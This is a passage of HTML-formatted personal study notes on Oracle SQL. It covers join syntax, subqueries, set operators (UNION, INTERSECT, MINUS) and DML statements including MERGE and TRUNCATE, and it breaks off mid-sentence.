&lt;div class="sourceCode" id="cb5"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb5-1"&gt;&lt;a aria-hidden="true" href="#cb5-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;SELECT&lt;/span&gt; table1.&lt;span class="kw"&gt;column&lt;/span&gt;, table2.&lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-2"&gt;&lt;a aria-hidden="true" href="#cb5-2" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;FROM&lt;/span&gt; table1&lt;/span&gt;
&lt;span id="cb5-3"&gt;&lt;a aria-hidden="true" href="#cb5-3" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;JOIN&lt;/span&gt; table2 &lt;span class="kw"&gt;ON&lt;/span&gt; (table1.column_name &lt;span class="op"&gt;&amp;lt;&lt;/span&gt; table2.column_name)]|&lt;/span&gt;
&lt;span id="cb5-4"&gt;&lt;a aria-hidden="true" href="#cb5-4" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;JOIN&lt;/span&gt; table2 &lt;span class="kw"&gt;ON&lt;/span&gt; (table1.column_name &lt;span class="op"&gt;&amp;gt;&lt;/span&gt; table2.column_name)]|&lt;/span&gt;
&lt;span id="cb5-5"&gt;&lt;a aria-hidden="true" href="#cb5-5" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;JOIN&lt;/span&gt; table2 &lt;span class="kw"&gt;ON&lt;/span&gt; (table1.column_name &lt;span class="op"&gt;&amp;lt;=&lt;/span&gt; table2.column_name)]|&lt;/span&gt;
&lt;span id="cb5-6"&gt;&lt;a aria-hidden="true" href="#cb5-6" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;JOIN&lt;/span&gt; table2 &lt;span class="kw"&gt;ON&lt;/span&gt; (table1.column_name &lt;span class="op"&gt;&amp;gt;=&lt;/span&gt; table2.column_name)]|&lt;/span&gt;
&lt;span id="cb5-7"&gt;&lt;a aria-hidden="true" href="#cb5-7" tabindex="-1"&gt;&lt;/a&gt;    [&lt;span class="kw"&gt;JOIN&lt;/span&gt; table2 &lt;span class="kw"&gt;ON&lt;/span&gt; (table1.&lt;span class="kw"&gt;column&lt;/span&gt; &lt;span class="kw"&gt;BETWEEN&lt;/span&gt; table2.col1 &lt;span class="kw"&gt;AND&lt;/span&gt; table2.col2)]|&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="23" type="1"&gt;
&lt;li&gt;JOIN Condition can have boolean variables of AND, OR and NOT -&amp;gt;
Need to evaluate to a BOOLEAN Expression&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb6"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb6-1"&gt;&lt;a aria-hidden="true" href="#cb6-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;select&lt;/span&gt; E.JOB_ID &lt;span class="kw"&gt;from&lt;/span&gt; Employees e &lt;span class="kw"&gt;join&lt;/span&gt; jobs j &lt;span class="kw"&gt;on&lt;/span&gt; (e.salary&lt;span class="op"&gt;&amp;gt;&lt;/span&gt;&lt;span class="dv"&gt;5000&lt;/span&gt; &lt;span class="kw"&gt;and&lt;/span&gt; &lt;span class="dv"&gt;2&lt;/span&gt;&lt;span class="op"&gt;*&lt;/span&gt;e.salary &lt;span class="op"&gt;&amp;lt;&lt;/span&gt; j.max_salary);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="24" type="1"&gt;
&lt;li&gt;LEFT Outer Join -&amp;gt; Rows from Source Table -&amp;gt; Rows from the
LEFT of the JOIN condition “X LEFT JOIN Y” -&amp;gt; Rows from X .. RIGHT
Outer Join -&amp;gt; Rows from Target Table -&amp;gt; Rows from the RIGHT of the
JOIN condition “X LEFT JOIN Y” -&amp;gt; Rows from Y .. FULL Outer Join
-&amp;gt; Both Source and Target tables&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb7"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb7-1"&gt;&lt;a aria-hidden="true" href="#cb7-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;SELECT&lt;/span&gt; table1.&lt;span class="kw"&gt;column&lt;/span&gt;, table2.&lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-2"&gt;&lt;a aria-hidden="true" href="#cb7-2" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;FROM&lt;/span&gt; table1&lt;/span&gt;
&lt;span id="cb7-3"&gt;&lt;a aria-hidden="true" href="#cb7-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;LEFT&lt;/span&gt; &lt;span class="kw"&gt;OUTER&lt;/span&gt; &lt;span class="kw"&gt;JOIN&lt;/span&gt; table2&lt;/span&gt;
&lt;span id="cb7-4"&gt;&lt;a aria-hidden="true" href="#cb7-4" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;ON&lt;/span&gt; (table1.&lt;span class="kw"&gt;column&lt;/span&gt; &lt;span class="op"&gt;=&lt;/span&gt; table2.&lt;span class="kw"&gt;column&lt;/span&gt;);&lt;/span&gt;
&lt;span id="cb7-5"&gt;&lt;a aria-hidden="true" href="#cb7-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;SELECT&lt;/span&gt; table1.&lt;span class="kw"&gt;column&lt;/span&gt;, table2.&lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-6"&gt;&lt;a aria-hidden="true" href="#cb7-6" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;FROM&lt;/span&gt; table1&lt;/span&gt;
&lt;span id="cb7-7"&gt;&lt;a aria-hidden="true" href="#cb7-7" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;RIGHT&lt;/span&gt; &lt;span class="kw"&gt;OUTER&lt;/span&gt; &lt;span class="kw"&gt;JOIN&lt;/span&gt; table2&lt;/span&gt;
&lt;span id="cb7-8"&gt;&lt;a aria-hidden="true" href="#cb7-8" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;ON&lt;/span&gt; (table1.&lt;span class="kw"&gt;column&lt;/span&gt; &lt;span class="op"&gt;=&lt;/span&gt; table2.&lt;span class="kw"&gt;column&lt;/span&gt;);&lt;/span&gt;
&lt;span id="cb7-9"&gt;&lt;a aria-hidden="true" href="#cb7-9" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;SELECT&lt;/span&gt; table1.&lt;span class="kw"&gt;column&lt;/span&gt;, table2.&lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-10"&gt;&lt;a aria-hidden="true" href="#cb7-10" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;FROM&lt;/span&gt; table1&lt;/span&gt;
&lt;span id="cb7-11"&gt;&lt;a aria-hidden="true" href="#cb7-11" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;FULL&lt;/span&gt; &lt;span class="kw"&gt;OUTER&lt;/span&gt; &lt;span class="kw"&gt;JOIN&lt;/span&gt; table2&lt;/span&gt;
&lt;span id="cb7-12"&gt;&lt;a aria-hidden="true" href="#cb7-12" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;ON&lt;/span&gt; (table1.&lt;span class="kw"&gt;column&lt;/span&gt; &lt;span class="op"&gt;=&lt;/span&gt; table2.&lt;span class="kw"&gt;column&lt;/span&gt;);&lt;/span&gt;
&lt;span id="cb7-13"&gt;&lt;a aria-hidden="true" href="#cb7-13" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;SELECT&lt;/span&gt; table1.&lt;span class="kw"&gt;column&lt;/span&gt;, table2.&lt;span class="kw"&gt;column&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-14"&gt;&lt;a aria-hidden="true" href="#cb7-14" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;FROM&lt;/span&gt; table1&lt;/span&gt;
&lt;span id="cb7-15"&gt;&lt;a aria-hidden="true" href="#cb7-15" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;CROSS&lt;/span&gt; &lt;span class="kw"&gt;JOIN&lt;/span&gt; table2;     &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; ANSI SQL&lt;span class="ch"&gt;:1999&lt;/span&gt; &lt;span class="kw"&gt;cross&lt;/span&gt; &lt;span class="kw"&gt;join&lt;/span&gt; syntax&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="25" type="1"&gt;
&lt;li&gt;&lt;p&gt;SQL*Plus presents any identically named columns as headings. SQL
Developer appends an underscore and number to each shared column name
and uses it as the heading&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;JOIN ON takes multiple conditions using AND -&amp;gt; SELECT * FROM
EMPLOYEES E JOIN DEPARTMENTS D ON E.DEPARTMENT_ID=D.DEPARTMENT_ID AND
E.MANAGER_ID=D.MANAGER_ID;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;departments d outer join employees e -&amp;gt; INVALID SYNTAX -&amp;gt;
Need to specify type of OUTER join&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CROSS JOIN cannot have a JOIN condition -&amp;gt; Syntax
Error&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SELECT D.DEPARTMENT_ID FROM EMPLOYEES JOIN DEPARTMENTS D USING
(DEPARTMENT_ID); Columns in USING Clause when used in SELECT should NOT
HAVE QUALIFIERS&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SELECT * FROM LOCATIONS L RIGHT OUTER JOIN COUNTRIES C ON
(L.COUNTRY_ID=C.COUNTRY_ID) WHERE L.COUNTRY_ID is NULL&lt;/p&gt;
&lt;p&gt;.. Joins both the tables and gives a combined result with the
additional records in COUNTRIES which are not used in LOCATIONs table ..
Specifying the WHERE condition removes the rows that have an ENTRY in
the LOCATIONS table .. This gives the records which are in the COUNTRIES
table without any ENTRY in the LOCATIONS table&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;IF THERE IS A OUTER JOIN, FIRST JOIN the TABLE and apply the
CONDITIONS to get the results&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-8"&gt;Chapter 8&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;A scalar subquery is a query that returns exactly one value: a
single row, with a single column.&lt;/li&gt;
&lt;li&gt;A subquery is a query that is nested inside a SELECT, INSERT,
UPDATE, or DELETE statement or inside another subquery&lt;/li&gt;
&lt;li&gt;Subqueries can be nested to an unlimited depth in a FROM clause but
to “only” 255 levels in a WHERE clause. They can be used in the SELECT
list and in the FROM, WHERE, and HAVING clauses of a query.&lt;/li&gt;
&lt;li&gt;Using NOT IN is fraught with problems because of the way SQL handles
NULLs. As a general rule, do not use NOT IN unless you are certain that
the result set will not include a NULL.&lt;/li&gt;
&lt;li&gt;If the subquery is going to return more than one row, then the
comparison operator must be able to accept multiple values. These
operators are IN, NOT IN, ANY, and ALL. If the comparison operator is
EQUAL, GREATER THAN, or LESS THAN (which each can only accept one
value), the parent query will fail.&lt;/li&gt;
&lt;li&gt;An extension of the use of subqueries as an alternative to a join is
to enable the star transformation often needed in data warehouse
applications&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb8"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb8-1"&gt;&lt;a aria-hidden="true" href="#cb8-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;FROM&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-2"&gt;&lt;a aria-hidden="true" href="#cb8-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;and&lt;/span&gt; p.product&lt;span class="op"&gt;=&lt;/span&gt;’Books’&lt;/span&gt;
&lt;span id="cb8-3"&gt;&lt;a aria-hidden="true" href="#cb8-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;and&lt;/span&gt; b.country&lt;span class="op"&gt;=&lt;/span&gt;’Germany’&lt;/span&gt;
&lt;span id="cb8-4"&gt;&lt;a aria-hidden="true" href="#cb8-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;and&lt;/span&gt; c.channel&lt;span class="op"&gt;=&lt;/span&gt;’Internet’;&lt;/span&gt;
&lt;span id="cb8-5"&gt;&lt;a aria-hidden="true" href="#cb8-5" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb8-6"&gt;&lt;a aria-hidden="true" href="#cb8-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;TO&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-7"&gt;&lt;a aria-hidden="true" href="#cb8-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;select&lt;/span&gt; &lt;span class="op"&gt;..&lt;/span&gt;. &lt;span class="kw"&gt;from&lt;/span&gt; sales&lt;/span&gt;
&lt;span id="cb8-8"&gt;&lt;a aria-hidden="true" href="#cb8-8" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;where&lt;/span&gt; prod_code &lt;span class="kw"&gt;in&lt;/span&gt; (&lt;span class="kw"&gt;select&lt;/span&gt; prod_code &lt;span class="kw"&gt;from&lt;/span&gt; products &lt;span class="kw"&gt;where&lt;/span&gt; product&lt;span class="op"&gt;=&lt;/span&gt;’Books’)&lt;/span&gt;
&lt;span id="cb8-9"&gt;&lt;a aria-hidden="true" href="#cb8-9" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;and&lt;/span&gt; buy_code &lt;span class="kw"&gt;in&lt;/span&gt; (&lt;span class="kw"&gt;select&lt;/span&gt; buy_code &lt;span class="kw"&gt;from&lt;/span&gt; buyers &lt;span class="kw"&gt;where&lt;/span&gt; country&lt;span class="op"&gt;=&lt;/span&gt;’Germany’)&lt;/span&gt;
&lt;span id="cb8-10"&gt;&lt;a aria-hidden="true" href="#cb8-10" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;and&lt;/span&gt; chan_code &lt;span class="kw"&gt;in&lt;/span&gt; (&lt;span class="kw"&gt;select&lt;/span&gt; chan_code &lt;span class="kw"&gt;from&lt;/span&gt; channels &lt;span class="kw"&gt;where&lt;/span&gt; channel&lt;span class="op"&gt;=&lt;/span&gt;’Internet);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="7" type="1"&gt;
&lt;li&gt;STAR TRANSFORMATION There is an instance initialization parameter,
STAR_TRANSFORMATION_ENABLED, which (if set to true) will permit the
Oracle query optimizer to re-write code into star queries.&lt;/li&gt;
&lt;li&gt;Subqueries can also be used in the FROM clause, where they are
sometimes referred to as inline views&lt;/li&gt;
&lt;li&gt;select (select max(salary) from employees) * (select
max(commission_pct) from employees) / 100 from dual; .. In this usage,
the SELECT list used to project columns is being populated with the
results of the subqueries. A subquery used in this manner must be
scalar, or the parent query will fail with an error.&lt;/li&gt;
&lt;li&gt;USAGE of Sub Query happens in WHERE clause, FROM clause, SELECT
clause, DML Statements&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb9"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb9-1"&gt;&lt;a aria-hidden="true" href="#cb9-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;insert&lt;/span&gt; &lt;span class="kw"&gt;into&lt;/span&gt; sales_hist &lt;span class="kw"&gt;select&lt;/span&gt; &lt;span class="op"&gt;*&lt;/span&gt; &lt;span class="kw"&gt;from&lt;/span&gt; sales &lt;span class="kw"&gt;where&lt;/span&gt; &lt;span class="dt"&gt;date&lt;/span&gt; &lt;span class="op"&gt;&amp;gt;&lt;/span&gt; &lt;span class="fu"&gt;sysdate&lt;/span&gt;&lt;span class="op"&gt;-&lt;/span&gt;&lt;span class="dv"&gt;1&lt;/span&gt;;&lt;/span&gt;
&lt;span id="cb9-2"&gt;&lt;a aria-hidden="true" href="#cb9-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;update&lt;/span&gt; employees &lt;span class="kw"&gt;set&lt;/span&gt; salary &lt;span class="op"&gt;=&lt;/span&gt; (&lt;span class="kw"&gt;select&lt;/span&gt; &lt;span class="fu"&gt;avg&lt;/span&gt;(salary) &lt;span class="kw"&gt;from&lt;/span&gt; employees);&lt;/span&gt;
&lt;span id="cb9-3"&gt;&lt;a aria-hidden="true" href="#cb9-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;delete&lt;/span&gt; &lt;span class="kw"&gt;from&lt;/span&gt; departments &lt;span class="kw"&gt;where&lt;/span&gt; department_id &lt;span class="kw"&gt;not&lt;/span&gt; &lt;span class="kw"&gt;in&lt;/span&gt; (&lt;span class="kw"&gt;select&lt;/span&gt; department_id &lt;span class="kw"&gt;from&lt;/span&gt; employees);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="11" type="1"&gt;
&lt;li&gt;A subquery can be used to select rows for insertion but not in a
VALUES clause of an INSERT statement.&lt;/li&gt;
&lt;li&gt;Usage examples&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb10"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb10-1"&gt;&lt;a aria-hidden="true" href="#cb10-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;insert&lt;/span&gt; &lt;span class="kw"&gt;into&lt;/span&gt; dates &lt;span class="kw"&gt;select&lt;/span&gt; &lt;span class="fu"&gt;sysdate&lt;/span&gt; &lt;span class="kw"&gt;from&lt;/span&gt; dual; &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; CORRECT&lt;/span&gt;
&lt;span id="cb10-2"&gt;&lt;a aria-hidden="true" href="#cb10-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;insert&lt;/span&gt; &lt;span class="kw"&gt;into&lt;/span&gt; dates (date_col) &lt;span class="kw"&gt;values&lt;/span&gt; (&lt;span class="kw"&gt;select&lt;/span&gt; &lt;span class="fu"&gt;sysdate&lt;/span&gt; fom dual); &lt;span class="op"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;NOT&lt;/span&gt; CORRECT&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="13" type="1"&gt;
&lt;li&gt;The single-row subquery returns one row. A special case is the
scalar subquery, which returns a single row with one column. .. The
comparison operators valid for single-row subqueries are =, &amp;gt;, &amp;gt;=,
&amp;lt;, &amp;lt;=, and &amp;lt;&amp;gt;. .. The comparison operators valid for
multiple-row subqueries are IN, NOT IN, ANY, and ALL.&lt;/li&gt;
&lt;li&gt;Correlated subqueries can be a very inefficient construct, due to
the need for repeated execution of the subquery. Always try to find an
alternative approach.&lt;/li&gt;
&lt;li&gt;Usage of ALL&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb11"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb11-1"&gt;&lt;a aria-hidden="true" href="#cb11-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;select&lt;/span&gt; last_name &lt;span class="kw"&gt;from&lt;/span&gt; employees &lt;span class="kw"&gt;where&lt;/span&gt; salary &lt;span class="op"&gt;&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;all&lt;/span&gt; (&lt;span class="kw"&gt;select&lt;/span&gt; salary &lt;span class="kw"&gt;from&lt;/span&gt; employees &lt;span class="kw"&gt;where&lt;/span&gt; department_id&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="dv"&gt;80&lt;/span&gt;);&lt;/span&gt;
&lt;span id="cb11-2"&gt;&lt;a aria-hidden="true" href="#cb11-2" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb11-3"&gt;&lt;a aria-hidden="true" href="#cb11-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="op"&gt;&amp;lt;&lt;/span&gt; &lt;span class="kw"&gt;ANY&lt;/span&gt; &lt;span class="kw"&gt;less&lt;/span&gt; &lt;span class="kw"&gt;than&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; highest&lt;/span&gt;
&lt;span id="cb11-4"&gt;&lt;a aria-hidden="true" href="#cb11-4" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="op"&gt;&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;ANY&lt;/span&gt; more &lt;span class="kw"&gt;than&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; lowest&lt;/span&gt;
&lt;span id="cb11-5"&gt;&lt;a aria-hidden="true" href="#cb11-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;ANY&lt;/span&gt; equivalent &lt;span class="kw"&gt;to&lt;/span&gt; &lt;span class="kw"&gt;IN&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb11-6"&gt;&lt;a aria-hidden="true" href="#cb11-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="op"&gt;&amp;gt;&lt;/span&gt; &lt;span class="kw"&gt;ALL&lt;/span&gt; more &lt;span class="kw"&gt;than&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; highest&lt;/span&gt;
&lt;span id="cb11-7"&gt;&lt;a aria-hidden="true" href="#cb11-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="op"&gt;&amp;lt;&lt;/span&gt; &lt;span class="kw"&gt;ALL&lt;/span&gt; &lt;span class="kw"&gt;less&lt;/span&gt; &lt;span class="kw"&gt;than&lt;/span&gt; &lt;span class="kw"&gt;the&lt;/span&gt; lowest&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="16" type="1"&gt;
&lt;li&gt;“NOT &amp;gt;=” -&amp;gt; NOT or ! cannot be used in Conjunction with other
comparison operators&lt;/li&gt;
&lt;li&gt;SUB QUERIES can be used in SELECT, FROM, WHERE, GROUP BY, HAVING
CANNOT be used in ORDER BY&lt;/li&gt;
&lt;li&gt;If a subquery returns NULL, then the comparison will also return
NULL, meaning that no rows will be retrieved.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-9"&gt;Chapter 9&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;There is a significant deviation from the ISO standard for SQL here,
in that ISO SQL uses EXCEPT where Oracle uses MINUS, but the
functionality is identical.&lt;/li&gt;
&lt;li&gt;Oracle provides three set operators: UNION, INTERSECT, and MINUS.
UNION can be qualified with ALL&lt;/li&gt;
&lt;li&gt;Union options .. UNION - Returns the combined rows from two queries,
sorting them and removing duplicates. .. UNION ALL - Returns the
combined rows from two queries without sorting or removing duplicates.
.. INTERSECT - Returns only the rows that occur in both queries’ result
sets, sorting them and removing duplicates. .. MINUS - Returns only the
rows in the first result set that do not appear in the second result
set, sorting them and removing duplicates.&lt;/li&gt;
&lt;li&gt;Although pending enhancements to ISO SQL will give INTERSECT a
higher priority than the others, there is currently no priority of one
operator over another. .. To override this precedence, based on the
order in which the operators appear, you can use parentheses:&lt;/li&gt;
&lt;li&gt;The columns in the queries that make up a compound query can have
different names, but the output result set will use the names of the
columns in the first query&lt;/li&gt;
&lt;li&gt;Each query in a compound query will project its own list of selected
columns. .. These lists must have the same number of elements, be
nominated in the same sequence, and be of broadly similar data type. ..
They do not have to have the same names (or column aliases), nor do they
need to come from the same tables (or subqueries). .. If the column
names (or aliases) are different, the result set of the compound query
will have columns named as they were in the first query. .. While the
selected column lists do not have to be exactly the same data type, they
must be from the same data type group. .. DATE amd NUMBER in first query
should match with TIMESTAMP and INTEGER in second Query .. The result
set of the compound query will have columns with the higher level of
precision: in this case, they would be TIMESTAMP and NUMBER .. NO
IMPLICIT CASTING -&amp;gt; If the second query retrieved columns of type
VARCHAR2, the compound query would throw an error even if the string
variables could be resolved to legitimate date and numeric values.&lt;/li&gt;
&lt;li&gt;UNION, MINUS, and INTERSECT will always combine the results sets of
the input queries, then sort the results to remove duplicate rows. The
sorting is based on all the columns, from left to right. .. If all the
columns in two rows have the same value, then only the first row is
returned in the compound result set&lt;/li&gt;
&lt;li&gt;It is possible to put a single ORDER BY clause at the end of the
compound query. It is not possible to use ORDER BY in any of the queries
that make up the whole compound query, as this would disrupt the sorting
that is necessary to remove duplicates&lt;/li&gt;
&lt;li&gt;UNION ALL -&amp;gt; the result sets of the two input queries will be
concatenated to form the result of the compound query .. Can’t use ORDER
BY in the individual queries; it can only appear at the end of the
compound query&lt;/li&gt;
&lt;li&gt;If you know that there can be no duplicates between two tables, then
always use UNION ALL. Itsaves the database from doing a lot of
sorting&lt;/li&gt;
&lt;li&gt;Remember: If padded with Spaces, then it takes precedence over
alphabets [conversion of CHAR to VARCHAR2]&lt;/li&gt;
&lt;li&gt;INSTERSECT between CHAR and VARCHAR2 will not be equal [Exact number
of spaces is required in VARCHAR2 field]&lt;/li&gt;
&lt;li&gt;A MINUS runs both queries, sorts the results, and returns only the
rows from the first result set that do not appear in the second result
set.&lt;/li&gt;
&lt;li&gt;For Mismatching number of columns, we can use TO_CHAR(NULL)&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb12"&gt;&lt;pre class="sourceCode sql"&gt;&lt;code class="sourceCode sql"&gt;&lt;span id="cb12-1"&gt;&lt;a aria-hidden="true" href="#cb12-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;select&lt;/span&gt; name,tail_length,&lt;span class="fu"&gt;to_char&lt;/span&gt;(&lt;span class="kw"&gt;null&lt;/span&gt;) &lt;span class="kw"&gt;from&lt;/span&gt; cats&lt;/span&gt;
&lt;span id="cb12-2"&gt;&lt;a aria-hidden="true" href="#cb12-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;union&lt;/span&gt; &lt;span class="kw"&gt;all&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb12-3"&gt;&lt;a aria-hidden="true" href="#cb12-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="kw"&gt;select&lt;/span&gt; name,&lt;span class="fu"&gt;to_char&lt;/span&gt;(&lt;span class="kw"&gt;null&lt;/span&gt;),wing_span &lt;span class="kw"&gt;from&lt;/span&gt; birds;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol start="15" type="1"&gt;
&lt;li&gt;Without parentheses, the set operators will be applied in the
sequence in which they are specified&lt;/li&gt;
&lt;li&gt;Using an ORDER BY class in SETS throws an Error&lt;/li&gt;
&lt;li&gt;There is no problem with placing an ORDER BY clause at the end of
the compound query .. However, there might be a problem with adding a
aliased column in the order by class of the THREE or more Queries .. The
Alias declaration and the usage has to in SUCCESSIVE QUERIES else it
does not work.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="chapter-10"&gt;Chapter 10&lt;/h3&gt;
&lt;ol type="1"&gt;
&lt;li&gt;MERGE can be thought of as a shortcut for executing either an INSERT
or an UPDATE or a DELETE, depending on some condition.&lt;/li&gt;
&lt;li&gt;Final List of DML Statements are: SELECT, INSERT, UPDATE, DELETE,
MERGE&lt;/li&gt;
&lt;li&gt;TRUNCATE is thought as a DML but actually is a DDL&lt;/li&gt;
&lt;li&gt;There are much faster techniques than INSERT for populating a table
with large numbers of rows. These are the SQL*Loader utility, which can
upload data from files produced by an external feeder system, and
Datapump, which .. Can transfer data in bulk from one Oracle database to
another, either via disk files or through a network link.&lt;/li&gt;
&lt;li&gt;One UPDATE statement can change rows in only one table, but it can
change any number of rows in that table.&lt;/li&gt;
&lt;li&gt;MERGE was introduced with the SQL1999 standard, implemented by
Oracle in database release 9i.&lt;/li&gt;
&lt;li&gt;UPSERT - Propritory SQL implementation of MERGE&lt;/li&gt;
&lt;li&gt;A MERGE passes through the source data, for each row attempting to
locate a matching row in the target. .. If no match is found, a row can
be inserted; .. If a match is found, the matching row can be updated.
The release 10g enhancement means that the target row can even be
deleted, after being matched and updated.&lt;/li&gt;
&lt;li&gt;Transactions, consisting of INSERT, UPDATE, and DELETE (or even
MERGE) commands can be made permanent (with a COMMIT) or reversed (with
a ROLLBACK). .. A TRUNCATE command, like any other DDL command, is
immediately permanent: it can never be reversed.&lt;/li&gt;
&lt;li&gt;TRUNCATE is a DDL and NOT A DML because it cannot be controlled by
Transactions [(though within the database, they are in fact implemented
as transactions, but developers cannot control them]&lt;/li&gt;
&lt;li&gt;Whereas a deletion may take some time (possibly hours, if there are
many rows in the table) a truncation will go through instantly. It makes
no difference whether the table contains one row or billions&lt;/li&gt;
&lt;li&gt;DDL commands, such as TRUNCATE, will fail if there is any DML
command active on the table. A transaction will block the DDL command
until the DML command is terminated with a COMMIT or a ROLLBACK.&lt;/li&gt;
&lt;li&gt;If the user attempting to execute the statement does not have the
relevant permissions on the tables to which it refers, the database will
return an error identical to that which would be returned if the object
